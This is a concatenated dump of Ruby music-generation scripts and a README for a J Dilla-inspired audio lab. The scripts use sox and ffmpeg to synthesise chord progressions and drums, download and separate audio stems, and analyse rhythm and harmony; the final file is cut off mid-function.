output_dir = File.dirname(OUTPUT_FILE)
FileUtils.mkdir_p(output_dir) unless output_dir == "." || File.exist?(output_dir)
# Final output
sox("_final.wav #{OUTPUT_FILE}")
# Cleanup
cleanup(*kick_seq, *snare_seq, *hat_seq, *tom_seq)
cleanup("_kicks.wav", "_snares.wav", "_hats.wav", "_toms.wav")
cleanup("_premix.wav", "_compressed.wav", "_eq.wav", "_final.wav")
cleanup(kick, snare, hat, clap, tom)
puts "\n[+] Generated: #{OUTPUT_FILE}"
puts " Duration: #{total_sec.round(2)}s (#{bars} bars at #{tempo} BPM)"
end
# MAIN
if __FILE__ == $PROGRAM_NAME
puts "\n" + ("=" * 70)
puts "BURST - Industrial Techno Generator"
puts "=" * 70
puts ""
generate_industrial_techno(TEMPO, BARS)
puts "\n" + ("=" * 70)
puts "COMPLETE"
puts "=" * 70
puts ""
end#!/usr/bin/env ruby
# frozen_string_literal: true
# Dilla - J Dilla Music Generation & Playback
# Version: 5.0.0 - Consolidated per master.json (zero sprawl)
#
# Usage:
# ruby dilla.rb # Interactive menu
# ruby dilla.rb --generate # Generate all audio
# ruby dilla.rb --play # Play chords continuously
# ruby dilla.rb --quick # Quick generation (5 progressions)
require "json"
require "fileutils"
# CONFIGURATION
BASE_DIR = ENV.fetch("DILLA_DIR") { File.expand_path("~/dilla") }
SOX = %w[sox /usr/local/bin/sox /usr/bin/sox].find { |p| system("which #{p} > /dev/null 2>&1") } || "sox"
CHORDS_DIR = "#{BASE_DIR}/chords"
DRUMS_DIR = "#{BASE_DIR}/drums"
BASS_DIR = "#{BASE_DIR}/bass"
FINAL_DIR = "#{BASE_DIR}/final"
FileUtils.mkdir_p([CHORDS_DIR, DRUMS_DIR, BASS_DIR, FINAL_DIR])
# FM Synthesis FX Presets
FX_PRESETS = {
warm_tape: "compand 0.3,1 -inf,-70,-60,-20 -5 -90 0.2 reverb 35 50 80 norm -2 dither -s",
lofi_dream: "compand 0.05,0.2 -inf,-70,-50,-20 -6 -90 0.1 reverb 40 60 90 norm -2 dither -s",
dilla_butter: "compand 0.1,0.3 -inf,-70,-55,-20 -6 -90 0.15 reverb 30 50 85 norm -2 dither -s",
analog_lush: "compand 0.2,0.4 -inf,-65,-50,-30 -5 -90 0.18 reverb 45 60 95 norm -2 dither -s"
}
# Hall of Fame Chord Progressions
PROGRESSIONS = {
dilla_life: {
name: "J Dilla 'Life'", tempo: 90, duration: 2.0, fx: :dilla_butter,
chords: [
{ name: 'Bbm9', freqs: [116.54, 174.61, 220.00, 261.63, 329.63] },
{ name: 'C7', freqs: [130.81, 164.81, 196.00, 233.08, 293.66] },
{ name: 'Fm9', freqs: [174.61, 207.65, 261.63, 311.13, 392.00] },
{ name: 'Bbm9', freqs: [116.54, 174.61, 220.00, 261.63, 329.63] }
]
},
neo_soul: {
name: "Neo-Soul Classic", tempo: 90, duration: 2.0, fx: :warm_tape,
chords: [
{ name: 'Cmaj9', freqs: [130.81, 164.81, 196.00, 246.94, 329.63] },
{ name: 'Am11', freqs: [110.00, 164.81, 220.00, 261.63, 329.63] },
{ name: 'Fmaj13', freqs: [174.61, 220.00, 261.63, 329.63, 440.00] },
{ name: 'G13sus', freqs: [196.00, 261.63, 293.66, 392.00, 493.88] }
]
},
dreamscape: {
name: "Dilla Dreamscape", tempo: 85, duration: 2.5, fx: :lofi_dream,
chords: [
{ name: 'Ebmaj9', freqs: [155.56, 196.00, 233.08, 293.66, 369.99] },
{ name: 'Cm9', freqs: [130.81, 155.56, 196.00, 233.08, 293.66] },
{ name: 'Abmaj13', freqs: [207.65, 261.63, 311.13, 415.30, 523.25] },
{ name: 'Bb13sus', freqs: [233.08, 311.13, 349.23, 466.16, 587.33] }
]
},
floating: {
name: "Floating Rhodes", tempo: 92, duration: 2.0, fx: :analog_lush,
chords: [
{ name: 'Dmaj9', freqs: [146.83, 185.00, 220.00, 277.18, 369.99] },
{ name: 'Bm11', freqs: [123.47, 185.00, 246.94, 293.66, 369.99] },
{ name: 'Gmaj9#11', freqs: [196.00, 246.94, 293.66, 392.00, 493.88] },
{ name: 'A13sus', freqs: [220.00, 293.66, 329.63, 440.00, 554.37] }
]
},
soulquarian: {
name: "Soulquarian Butter", tempo: 96, duration: 2.0, fx: :dilla_butter,
chords: [
{ name: 'Fmaj9', freqs: [174.61, 220.00, 261.63, 329.63, 440.00] },
{ name: 'Dm11', freqs: [146.83, 220.00, 293.66, 349.23, 440.00] },
{ name: 'Bbmaj13', freqs: [233.08, 293.66, 349.23, 466.16, 587.33] },
{ name: 'C13', freqs: [130.81, 164.81, 196.00, 246.94, 329.63] }
]
},
donut_shop: {
name: "Donut Shop Dreams", tempo: 82, duration: 2.5, fx: :lofi_dream,
chords: [
{ name: 'Amaj9', freqs: [110.00, 138.59, 164.81, 207.65, 277.18] },
{ name: 'F#m11', freqs: [92.50, 138.59, 185.00, 220.00, 277.18] },
{ name: 'Dmaj9', freqs: [146.83, 185.00, 220.00, 277.18, 369.99] },
{ name: 'E13sus', freqs: [164.81, 220.00, 246.94, 329.63, 415.30] }
]
},
slum_village: {
name: "Slum Village Glow", tempo: 98, duration: 2.0, fx: :warm_tape,
chords: [
{ name: 'Gmaj9', freqs: [196.00, 246.94, 293.66, 369.99, 493.88] },
{ name: 'Em11', freqs: [164.81, 246.94, 329.63, 392.00, 493.88] },
{ name: 'Cmaj13', freqs: [130.81, 164.81, 196.00, 261.63, 349.23] },
{ name: 'D13sus', freqs: [146.83, 196.00, 220.00, 293.66, 369.99] }
]
},
ethiojazz: {
name: "Ethiojazz Nights", tempo: 80, duration: 2.5, fx: :analog_lush,
chords: [
{ name: 'Dm9(b5)', freqs: [146.83, 174.61, 207.65, 261.63, 329.63] },
{ name: 'Gm11', freqs: [196.00, 293.66, 392.00, 466.16, 587.33] },
{ name: 'Ebmaj7#11', freqs: [155.56, 196.00, 246.94, 311.13, 415.30] },
{ name: 'Am7b13', freqs: [110.00, 130.81, 164.81, 207.65, 261.63] }
]
},
ahmad_jamal: {
name: "Ahmad Jamal 'Awakening'", tempo: 88, duration: 2.2, fx: :dilla_butter,
chords: [
{ name: 'Emaj7', freqs: [164.81, 207.65, 246.94, 311.13] },
{ name: 'G#m7', freqs: [207.65, 246.94, 311.13, 369.99] },
{ name: 'C#m7', freqs: [138.59, 164.81, 207.65, 246.94] },
{ name: 'F#9', freqs: [92.50, 116.54, 138.59, 174.61, 220.00] }
]
},
isley_brothers: {
name: "Isley Brothers Style", tempo: 92, duration: 2.0, fx: :analog_lush,
chords: [
{ name: 'Gbmaj9', freqs: [185.00, 233.08, 277.18, 349.23, 466.16] },
{ name: 'Ebm11', freqs: [155.56, 233.08, 311.13, 369.99, 466.16] },
{ name: 'Abm9', freqs: [207.65, 246.94, 311.13, 369.99, 493.88] },
{ name: 'Db13', freqs: [138.59, 174.61, 207.65, 261.63, 349.23] }
]
}
}
# CORE AUDIO ENGINE
def sox(*args)
cmd = "\"#{SOX}\" #{args.join(' ')}"
system(cmd)
end
def cleanup(*files)
files.each { |f| File.delete(f) rescue StandardError if File.exist?(f) }
end
# FM Synthesis: 3-layer (sawtooth + square + sine)
def generate_chord(freqs, duration, output)
voices = freqs.each_with_index.map do |freq, i|
sox("-n saw#{i}.wav synth #{duration} sawtooth #{freq} gain -18")
sox("-n sqr#{i}.wav synth #{duration} square #{freq} gain -20")
sox("-n sin#{i}.wav synth #{duration} sine #{freq} gain -16")
file = "v#{i}.wav"
sox("-m saw#{i}.wav sqr#{i}.wav sin#{i}.wav #{file}")
cleanup("saw#{i}.wav", "sqr#{i}.wav", "sin#{i}.wav")
file
end
sox("-m #{voices.join(' ')} #{output}")
cleanup(*voices)
end
def apply_fx(input, output, preset_name)
preset = FX_PRESETS[preset_name] || FX_PRESETS[:dilla_butter]
sox("#{input} #{output} #{preset}")
end
# GENERATION
def generate_chords(quick_mode: false)
puts "\n🎹 Generating J Dilla Chord Progressions..."
puts "=" * 60
progs = quick_mode ? PROGRESSIONS.first(5) : PROGRESSIONS
progs.each do |key, prog|
puts "\n#{prog[:name]} (#{prog[:fx]})"
chord_files = prog[:chords].map.with_index do |chord, i|
file = "c#{i}.wav"
generate_chord(chord[:freqs], prog[:duration], file)
print " #{chord[:name]}... "
file
end
puts
sox("#{chord_files.join(' ')} #{chord_files.join(' ')} temp.wav")
output = "#{CHORDS_DIR}/#{key}.wav"
apply_fx("temp.wav", output, prog[:fx])
cleanup("temp.wav", *chord_files)
puts " ✓ #{output}"
end
puts "\n✓ Generated #{progs.size} progressions"
end
# PLAYBACK
def play_chords_continuous
chord_files = Dir["#{CHORDS_DIR}/*.wav"].sort
if chord_files.empty?
puts "\n⚠️ No chord files found. Generate first with --generate"
return
end
puts "\n🎵 Playing Dilla chords continuously..."
puts "📂 Files: #{chord_files.size}"
puts "🔄 Press Ctrl+C to stop\n\n"
sox("#{chord_files.join(' ')} -t waveaudio -d repeat 999")
end
def play_single_progression(key)
file = "#{CHORDS_DIR}/#{key}.wav"
unless File.exist?(file)
puts "\n⚠️ File not found: #{file}"
puts "Available progressions: #{PROGRESSIONS.keys.join(', ')}"
return
end
puts "\n🎵 Playing: #{PROGRESSIONS[key][:name]}"
sox("#{file} -t waveaudio -d")
end
# INTERACTIVE MENU
def show_menu
puts "\n" + "=" * 60
puts "🎹 DILLA - J Dilla Music Generator & Player"
puts "=" * 60
puts
puts "1. Generate All Chords (#{PROGRESSIONS.size} progressions, ~5-8 min)"
puts "2. Generate Quick Test (5 progressions, ~2 min)"
puts "3. Play All Chords Continuously (loop)"
puts "4. Play Single Progression"
puts "5. List Available Progressions"
puts "6. Exit"
puts
print "Choose [1-6]: "
gets.chomp
end
def list_progressions
puts "\n📋 Available Progressions:"
puts "-" * 60
PROGRESSIONS.each do |key, prog|
exists = File.exist?("#{CHORDS_DIR}/#{key}.wav") ? "✓" : "✗"
puts "#{exists} #{key.to_s.ljust(20)} - #{prog[:name]} (#{prog[:tempo]} BPM)"
end
end
def interactive_mode
loop do
choice = show_menu
case choice
when "1"
generate_chords
when "2"
generate_chords(quick_mode: true)
when "3"
play_chords_continuous
when "4"
list_progressions
print "\nEnter progression key: "
key = gets.chomp.to_sym
play_single_progression(key)
when "5"
list_progressions
when "6", "q", "quit", "exit"
puts "\n👋 Goodbye!"
exit 0
else
puts "\n⚠️ Invalid choice. Try again."
end
end
end
# CLI
if __FILE__ == $PROGRAM_NAME
case ARGV[0]
when "--generate", "-g"
generate_chords
when "--quick", "-q"
generate_chords(quick_mode: true)
when "--play", "-p"
play_chords_continuous
when "--list", "-l"
list_progressions
when "--help", "-h"
puts <<~HELP
Dilla - J Dilla Music Generator & Player
Usage:
ruby dilla.rb # Interactive menu
ruby dilla.rb --generate # Generate all progressions
ruby dilla.rb --quick # Quick test (5 progressions)
ruby dilla.rb --play # Play continuously
ruby dilla.rb --list # List progressions
Features:
- 10 iconic J Dilla chord progressions
- FM synthesis (sawtooth + square + sine)
- Hall of Fame FX presets
- Continuous playback mode
HELP
else
interactive_mode
end
end# Dilla Lab
`DEPLOY/dilla` is a small audio lab for Dilla-inspired groove sketches, sample cleanup, stem handling, and local render experiments.
## Entrypoints
- `dilla.rb`: main command surface for scan, source capture, stem separation, rhythm/chord study, render, cleanup, grading, and playback helpers.
- `dilla_hiphop.rb`: ffmpeg synthesis of an MPC-style 86 BPM beat.
- `electronium.rb`: safe MIDI-only Raymond Scott / J Dilla Electronium generator inspired by the referenced gist. It requires `midilib` but does not auto-install gems, fetch the network, or shell out to render audio.
- `dilla_lab.html`: browser lab for microtimed pattern sketching.
- `play.html`: static player surface.
## Electronium
Generate a MIDI file:
```sh
ruby DEPLOY/dilla/electronium.rb DEPLOY/dilla/dilla_electronium.midOptional knobs:
BPM=84 BARS=16 ruby DEPLOY/dilla/electronium.rb /tmp/dilla.midThe gist at https://gist.github.com/anon987654321/3831126ddcbc401c10b6c73435f776fe contains two source sketches, dilla_deepseek.rb and dilla_glm.rb. The repo version keeps their core idea, but removes automatic dependency installation and renderer shell commands so the generator is predictable in deploy and audit contexts.
- Keep generated audio artifacts intentional and named.
- Do not add auto-installing scripts.
- Keep external sampling/downloading behind explicit commands in
dilla.rb. - Prefer MIDI or manifest outputs for reviewable generative experiments.
## `dilla/dilla.rb`
```ruby
#!/usr/bin/env ruby
# frozen_string_literal: true
require "fileutils"
require "json"
require "open3"
ROOT = File.expand_path(__dir__)
SAMPLE_DIR = File.join(ROOT, "samples")
STEM_DIR = File.join(ROOT, "stems")
SAMPLE_CLEAN = File.join(SAMPLE_DIR, "clean_harmonic.wav")
DEFAULT_BPM = 86.0
DEFAULT_BARS = 88
SAMPLE_RATE = 44_100
PITCH_CLASSES = %w[C Db D Eb E F Gb G Ab A Bb B].freeze
PAD_CHORDS = [
{ name: "Fm9", hz: [174.61, 207.65, 261.63, 311.13, 392.00] },
{ name: "Dbmaj9", hz: [138.59, 174.61, 207.65, 261.63, 311.13] },
{ name: "Cm9", hz: [130.81, 155.56, 196.00, 233.08, 293.66] },
{ name: "Ebmaj9", hz: [155.56, 196.00, 233.08, 293.66, 349.23] },
{ name: "Abmaj9", hz: [207.65, 261.63, 311.13, 392.00, 466.16] },
{ name: "Dm9", hz: [146.83, 174.61, 220.00, 261.63, 329.63] },
{ name: "Gm9", hz: [196.00, 233.08, 293.66, 349.23, 440.00] },
{ name: "Bm7b5+9", hz: [123.47, 146.83, 174.61, 220.00, 261.63] },
{ name: "E altered", hz: [164.81, 196.00, 233.08, 293.66, 349.23] },
{ name: "Am9", hz: [110.00, 130.81, 164.81, 196.00, 246.94] },
{ name: "Bbm9", hz: [116.54, 138.59, 174.61, 207.65, 261.63] },
{ name: "Gbmaj9", hz: [92.50, 116.54, 138.59, 174.61, 207.65] },
{ name: "C cluster", hz: [130.81, 138.59, 196.00, 233.08, 311.13] }
].freeze
COMMANDS = %w[scan sweep council debug sample source livestream separate render verify chords clean stems study rhythm melody harmony semantics ears play live bass grade grade_list].freeze
# Analog stock characters — digital signal equivalents of film stock data.
# noise_amp: RMS amplitude of the noise floor (≈tape hiss level)
# sat_drive: tanh waveshaper drive (1.0 = light tube warmth, 3.0 = heavy tape saturation)
# rolloff_hz: high-frequency bandwidth limit (anti-halation backing ↔ tape formulation)
# wow_rate: LFO rate in Hz for pitch modulation (reciprocity failure ↔ capstan speed variance)
# wow_depth: LFO depth [0,1] (tape tension variation)
# warmth_db: low-frequency shelf boost in dB (color temperature ↔ tonal weight)
AUDIO_STOCKS = {
tape_250: { noise_amp: 0.003, sat_drive: 1.4, rolloff_hz: 14_500, wow_rate: 0.40, wow_depth: 0.003, warmth_db: 2.5 },
tape_500: { noise_amp: 0.006, sat_drive: 2.2, rolloff_hz: 12_500, wow_rate: 0.45, wow_depth: 0.004, warmth_db: 4.0 },
vinyl: { noise_amp: 0.009, sat_drive: 1.0, rolloff_hz: 18_000, wow_rate: 0.50, wow_depth: 0.015, warmth_db: 2.0 },
cassette: { noise_amp: 0.015, sat_drive: 0.8, rolloff_hz: 10_500, wow_rate: 0.50, wow_depth: 0.025, warmth_db: 1.5 },
acetate: { noise_amp: 0.022, sat_drive: 1.1, rolloff_hz: 9_500, wow_rate: 0.80, wow_depth: 0.040, warmth_db: 5.0 },
}.freeze
# Analog grade presets — concept map:
# tape_saturation ↔ H&D film curve (soft-knee waveshaper)
# analog_noise ↔ Newson-Delon grain (noise floor with midtone envelope)
# harmonic_bloom ↔ halation (even-harmonic enrichment, energy bleeding adjacent)
# spectral_warmth ↔ color temperature EQ
# parallel_compress↔ bleach bypass (parallel NY compression)
# multiband_tone ↔ split toning / split grade
# wow_flutter ↔ reciprocity failure (pitch/time modulation)
# vinyl_crackle ↔ faded print (aging artifacts)
# transient_sharpen↔ micro-contrast (presence boost)
# stereo_width ↔ chromatic aberration (M/S spread)
GRADE_PRESETS = {
tape_warm: { fx: %w[spectral_warmth tape_saturation analog_noise transient_sharpen], stock: :tape_250 },
tape_hot: { fx: %w[tape_saturation harmonic_bloom analog_noise multiband_tone], stock: :tape_500 },
vinyl_press: { fx: %w[spectral_warmth analog_noise wow_flutter vinyl_crackle], stock: :vinyl },
lo_fi: { fx: %w[spectral_warmth tape_saturation analog_noise wow_flutter], stock: :cassette },
broadcast: { fx: %w[parallel_compress multiband_tone transient_sharpen], stock: :tape_250 },
sp1200: { fx: %w[tape_saturation analog_noise transient_sharpen], stock: :tape_500 },
}.freeze
# J Dilla drunk quantization: deliberate timing displacement from the grid.
# Each hit is offset by ±DRUNK_MAX_MS milliseconds of random swing — the
# characteristic feel of an MPC3000 played slightly loose on purpose.
DRUNK_MAX_MS = 22
CHORD_TEMPLATES = {
"maj" => [0, 4, 7],
"min" => [0, 3, 7],
"7" => [0, 4, 7, 10],
"maj7" => [0, 4, 7, 11],
"m7" => [0, 3, 7, 10],
"m9" => [0, 3, 7, 10, 2],
"maj9" => [0, 4, 7, 11, 2],
"sus" => [0, 5, 7],
"dim" => [0, 3, 6]
}.freeze
def sh!(*command)
puts ">>> #{command.flatten.join(' ')}"
abort "failed: #{command.flatten.first}" unless system(*command.flatten.map(&:to_s))
end
def capture(*command)
Open3.capture3(*command.flatten.map(&:to_s))
end
def tool_available?(name)
ENV.fetch("PATH", "").split(File::PATH_SEPARATOR).any? { |directory| File.executable?(File.join(directory, name)) }
end
def prompt(label)
print "#{label}: "
value = STDIN.gets&.strip
abort "missing #{label}" if value.nil? || value.empty?
value
end
def bpm
(ENV["BPM"] || DEFAULT_BPM).to_f
end
def bars
(ENV["BARS"] || DEFAULT_BARS).to_i
end
def beat_seconds
60.0 / bpm
end
def render_seconds
(beat_seconds * 4.0 * bars).round(3)
end
def chord_expression
cycle = (PAD_CHORDS.length * 8.0 * beat_seconds).round(4)
PAD_CHORDS.each_with_index.map do |chord, chord_index|
start_seconds = chord_index * 8.0 * beat_seconds
stop_seconds = start_seconds + 8.0 * beat_seconds
voices = chord[:hz].each_with_index.map do |frequency, voice_index|
detune = 1.0 + ((voice_index - 2) * 0.0015)
gain = 0.018 + (voice_index * 0.002)
"#{gain.round(4)}*sin(2*PI*#{(frequency * detune).round(4)}*t)"
end.join("+")
"between(mod(t,#{cycle}),#{start_seconds.round(4)},#{stop_seconds.round(4)})*(#{voices})"
end.join("+")
end
def scan
puts JSON.pretty_generate(
root: ROOT,
bpm: bpm,
bars: bars,
seconds: render_seconds,
files: {
ruby: File.exist?(__FILE__),
html: File.exist?(File.join(ROOT, "dilla.html")),
clean_harmonic: File.exist?(SAMPLE_CLEAN)
},
tools: {
ffmpeg: tool_available?("ffmpeg"),
ffprobe: tool_available?("ffprobe"),
yt_dlp: tool_available?("yt-dlp"),
demucs: tool_available?("demucs")
},
commands: COMMANDS
)
end
def council
puts "MASTER council"
puts "preserve existing command surface"
puts "separate source capture, demucs, rhythm study, melody study"
puts "add harmony and semantic texture evidence"
puts "feed ears metrics into MASTER before aesthetic judgment"
puts "keep render, clean, stems, chords intact"
end
def source(input = nil, output = nil)
input ||= prompt("audio path or URL")
output ||= File.join(SAMPLE_DIR, "source.wav")
FileUtils.mkdir_p(File.dirname(output))
return convert_audio(input, output) if File.exist?(input)
download_track(input, output)
end
def livestream(input = nil, output = nil)
input ||= prompt("livestream URL")
output ||= File.join(SAMPLE_DIR, "livestream.wav")
seconds_to_capture = (ENV["LIVE_SECONDS"] || 600).to_i
abort "yt-dlp required" unless tool_available?("yt-dlp")
abort "ffmpeg required" unless tool_available?("ffmpeg")
media_url = direct_media_url(input)
FileUtils.mkdir_p(File.dirname(output))
sh! "ffmpeg", "-y", "-t", seconds_to_capture.to_s, "-i", media_url, "-ac", "2", "-ar", SAMPLE_RATE.to_s, "-c:a", "pcm_s16le", output
puts "wrote #{output}"
output
end
def sample
path = source(nil, File.join(SAMPLE_DIR, "source.wav"))
separated = separate(path)
harmonic = separated.fetch("other")
clean(harmonic, SAMPLE_CLEAN)
end
def separate(input = nil)
input ||= prompt("audio path or URL")
wav = File.exist?(input) ? input : source(input, File.join(SAMPLE_DIR, "source.wav"))
abort "demucs required" unless tool_available?("demucs")
FileUtils.mkdir_p(STEM_DIR)
sh! "demucs", "-n", "htdemucs_ft", "-o", STEM_DIR, wav
map = latest_stems
puts JSON.pretty_generate(map)
map
end
def latest_stems
files = Dir[File.join(STEM_DIR, "**", "*.wav")]
abort "no stems found" if files.empty?
newest_directory = files.group_by { |path| File.dirname(path) }.max_by { |_directory, paths| paths.map { |path| File.mtime(path) }.max }.first
stem_paths(Dir[File.join(newest_directory, "*.wav")])
end
def download_track(url, output)
abort "yt-dlp required" unless tool_available?("yt-dlp")
abort "ffmpeg required" unless tool_available?("ffmpeg")
temporary = File.join(SAMPLE_DIR, "download.%(ext)s")
sh! "yt-dlp", "-f", "bestaudio", "--extract-audio", "--audio-format", "wav", url, "-o", temporary
downloaded = Dir[File.join(SAMPLE_DIR, "download.wav")].max_by { |path| File.mtime(path) }
abort "download produced no wav" unless downloaded
FileUtils.mv(downloaded, output)
puts "wrote #{output}"
output
end
def direct_media_url(url)
output, error, status = capture("yt-dlp", "-g", "-f", "bestaudio", url)
abort error unless status.success?
media_url = output.lines.first&.strip
abort "yt-dlp returned no media URL" if media_url.nil? || media_url.empty?
media_url
end
def convert_audio(input, output)
abort "ffmpeg required" unless tool_available?("ffmpeg")
sh! "ffmpeg", "-y", "-i", input, "-ac", "2", "-ar", SAMPLE_RATE.to_s, "-c:a", "pcm_s16le", output
puts "wrote #{output}"
output
end
def render(destination = File.join(ROOT, "full_track.mp3"))
abort "ffmpeg required" unless tool_available?("ffmpeg")
FileUtils.mkdir_p(File.dirname(destination))
duration = render_seconds
kick_period = (beat_seconds * 2.0).round(6)
command = ["ffmpeg", "-y"]
command += ["-f", "lavfi", "-i", "aevalsrc='#{chord_expression}':d=#{duration}:s=#{SAMPLE_RATE}"]
command += ["-f", "lavfi", "-i", "aevalsrc='0.16*sin(2*PI*49*t)*exp(-mod(t,#{beat_seconds.round(6)})*3.1)':d=#{duration}:s=#{SAMPLE_RATE}"]
command += ["-f", "lavfi", "-i", "aevalsrc='0.58*sin(2*PI*(45+90*exp(-mod(t,#{kick_period})*18))*t)*exp(-mod(t,#{kick_period})*9)':d=#{duration}:s=#{SAMPLE_RATE}"]
command += ["-f", "lavfi", "-i", "aevalsrc='0.13*(random(0)-0.5)*lt(mod(t+#{beat_seconds.round(6)},#{kick_period}),0.08)*exp(-mod(t+#{beat_seconds.round(6)},#{kick_period})*28)':d=#{duration}:s=#{SAMPLE_RATE}"]
command += ["-f", "lavfi", "-i", "aevalsrc='0.035*(random(0)-0.5)*lt(mod(t,#{(beat_seconds / 2.0).round(6)}),0.035)*exp(-mod(t,#{(beat_seconds / 2.0).round(6)})*80)':d=#{duration}:s=#{SAMPLE_RATE}"]
sample_input = nil
if File.exist?(SAMPLE_CLEAN)
sample_input = 5
command += ["-stream_loop", "-1", "-i", SAMPLE_CLEAN]
end
command += ["-filter_complex", render_filter(duration, sample_input), "-map", "[out]", "-t", duration.to_s, *codec_for(destination), destination]
sh!(*command)
puts "wrote #{destination}"
end
def render_filter(duration, sample_input)
filter = []
filter << "[0:a]aformat=channel_layouts=stereo,lowpass=f=3300,adelay=7|13[ep]"
filter << "[1:a]aformat=channel_layouts=stereo,lowpass=f=160[bass]"
filter << "[2:a]aformat=channel_layouts=stereo,lowpass=f=140[kick]"
filter << "[3:a]aformat=channel_layouts=stereo,highpass=f=900,lowpass=f=5000[snare]"
filter << "[4:a]aformat=channel_layouts=stereo,highpass=f=6500[hats]"
labels = %w[[ep] [bass] [kick] [snare] [hats]]
weights = %w[1.00 0.80 0.72 0.55 0.24]
if sample_input
filter << "[#{sample_input}:a]aformat=channel_layouts=stereo,atrim=0:#{duration},asetpts=PTS-STARTPTS,highpass=f=70,lowpass=f=12000[sample]"
labels << "[sample]"
weights << "0.85"
end
filter << "#{labels.join}amix=inputs=#{labels.length}:weights=#{weights.join(' ')}:duration=first,acompressor=threshold=-18dB:ratio=2.4:attack=24:release=130,acrusher=bits=13:samples=2:mix=0.12,alimiter=limit=0.94:level_out=0.96[out]"
filter.join(";")
end
def codec_for(destination)
return ["-codec:a", "libmp3lame", "-b:a", "320k"] if File.extname(destination).downcase == ".mp3"
["-c:a", "pcm_s16le"]
end
def verify(path = File.join(ROOT, "full_track.mp3"))
abort "missing #{path}" unless File.exist?(path)
output, error, status = capture("ffmpeg", "-hide_banner", "-i", path, "-af", "volumedetect", "-f", "null", "-")
text = output + error
puts text.lines.grep(/Duration|bitrate|mean_volume|max_volume/).join
abort "verify failed" unless status.success? && text.include?("mean_volume:")
end
def clean(input, output)
abort "missing input" unless input && File.exist?(input)
FileUtils.mkdir_p(File.dirname(output))
sh! "ffmpeg", "-y", "-i", input, "-af", "highpass=f=28,lowpass=f=15500,afftdn=nf=-25,adeclick,loudnorm=I=-18:TP=-1.5:LRA=10", "-c:a", "pcm_s16le", output
puts "wrote #{output}"
end
def stems(root = File.join(ROOT, "samples/demucs"), manifest = File.join(ROOT, "samples/manifest.json"))
sets = Dir.glob(File.join(root, "**", "*.{wav,mp3,flac,ogg,m4a}"), File::FNM_EXTGLOB).group_by { |path| File.dirname(path) }.map do |directory, files|
{ "name" => File.basename(directory), "bpm" => bpm, "stems" => stem_paths(files) }
end
FileUtils.mkdir_p(File.dirname(manifest))
File.write(manifest, JSON.pretty_generate({ "version" => 6, "sets" => sets }) + "\n")
puts "wrote #{manifest}"
end
def stem_paths(files)
files.each_with_object({}) { |path, map| map[stem_key(path)] = path.sub(ROOT + "/", "") }
end
def stem_key(path)
basename = File.basename(path).downcase
return "drums" if basename.include?("drums")
return "bass" if basename.include?("bass")
return "vocals" if basename.include?("vocals")
return "other" if basename.include?("other")
File.basename(path, ".*")
end
def chords
PAD_CHORDS.each_with_index { |chord, number| puts "%02d %s %s" % [number + 1, chord[:name], chord[:hz].map { |frequency| frequency.round(2) }.join(" ")] }
end
def study(kind, input = nil)
input ||= prompt("audio path")
abort "missing #{input}" unless File.exist?(input)
return rhythm(input) if kind == "rhythm"
return melody(input) if kind == "melody"
return harmony(input) if kind == "harmony"
return semantics(input) if kind == "semantics"
abort "study kind must be rhythm, melody, harmony, or semantics"
end
def rhythm(input = nil)
input ||= prompt("drum or full audio path")
data = frame_energy(input, highpass: 90, lowpass: 8_000)
peaks = peak_frames(data.fetch(:frames), data.fetch(:hop_seconds))
puts JSON.pretty_generate(type: "rhythm", path: input, duration_seconds: data.fetch(:duration_seconds), peaks: peaks.first(128))
end
def melody(input = nil)
input ||= prompt("melodic stem path")
data = spectral_windows(input)
puts JSON.pretty_generate(type: "melody", path: input, duration_seconds: data.fetch(:duration_seconds), windows: data.fetch(:windows).first(128))
end
def harmony(input = nil)
input ||= prompt("harmonic stem path")
profile = pitch_profile(input)
ranking = chord_candidates(profile.fetch(:pitch_classes)).first(16)
puts JSON.pretty_generate(type: "harmony", path: input, duration_seconds: profile.fetch(:duration_seconds), pitch_classes: profile.fetch(:pitch_classes), chords: ranking)
end
def semantics(input = nil)
input ||= prompt("audio path")
rhythm_data = frame_energy(input, highpass: 60, lowpass: 12_000)
loudness = rhythm_data.fetch(:frames).map(&:last)
brightness = frame_energy(input, highpass: 2_400, lowpass: 12_000).fetch(:frames).map(&:last)
density = peak_frames(rhythm_data.fetch(:frames), rhythm_data.fetch(:hop_seconds)).length.to_f / [rhythm_data.fetch(:duration_seconds), 1.0].max
puts JSON.pretty_generate(type: "semantics", path: input, duration_seconds: rhythm_data.fetch(:duration_seconds), tags: semantic_tags(loudness, brightness, density))
end
def ears(path = File.join(ROOT, "full_track.mp3"))
abort "missing #{path}" unless File.exist?(path)
report = media_metadata(path).merge(volume_metadata(path)).merge(path: path)
report[:verdict] = ears_verdict(report)
puts JSON.pretty_generate(report)
end
def frame_energy(path, highpass:, lowpass:)
abort "ffmpeg required" unless tool_available?("ffmpeg")
raw = pipe_floats(path, "highpass=f=#{highpass},lowpass=f=#{lowpass},aformat=sample_fmts=flt:channel_layouts=mono")
hop = 2_048
frames = raw.each_slice(hop).with_index.map do |slice, index|
next if slice.empty?
[index * hop.to_f / SAMPLE_RATE, Math.sqrt(slice.sum { |value| value * value } / slice.length)]
end.compact
{ frames: frames, hop_seconds: hop.to_f / SAMPLE_RATE, duration_seconds: raw.length.to_f / SAMPLE_RATE }
end
def spectral_windows(path)
raw = pipe_floats(path, "highpass=f=90,lowpass=f=5000,aformat=sample_fmts=flt:channel_layouts=mono")
window = 4_096
windows = raw.each_slice(window).with_index.map do |slice, index|
next if slice.length < window
zero_crossings = slice.each_cons(2).count { |left, right| (left.negative? && right.positive?) || (left.positive? && right.negative?) }
estimated_hz = zero_crossings.to_f * SAMPLE_RATE / (2.0 * slice.length)
[index * window.to_f / SAMPLE_RATE, estimated_hz.round(2), nearest_note(estimated_hz)]
end.compact
{ duration_seconds: raw.length.to_f / SAMPLE_RATE, windows: windows }
end
def pitch_profile(path)
raw = pipe_floats(path, "highpass=f=65,lowpass=f=5000,aformat=sample_fmts=flt:channel_layouts=mono")
window = 2_048
bins = Array.new(12, 0.0)
raw.each_slice(window) do |slice|
next if slice.length < window
estimate = zero_crossing_hz(slice)
next if estimate < 40.0 || estimate > 5_000.0
bins[pitch_class_for(estimate)] += slice.sum { |value| value.abs } / slice.length
end
total = bins.sum
normalized = total.positive? ? bins.map { |value| (value / total).round(5) } : bins
{ duration_seconds: raw.length.to_f / SAMPLE_RATE, pitch_classes: PITCH_CLASSES.zip(normalized).to_h }
end
def chord_candidates(pitch_classes)
values = PITCH_CLASSES.map { |name| pitch_classes.fetch(name, 0.0) }
candidates = []
PITCH_CLASSES.each_with_index do |root_name, root_index|
CHORD_TEMPLATES.each do |suffix, intervals|
score = intervals.sum { |interval| values[(root_index + interval) % 12] }
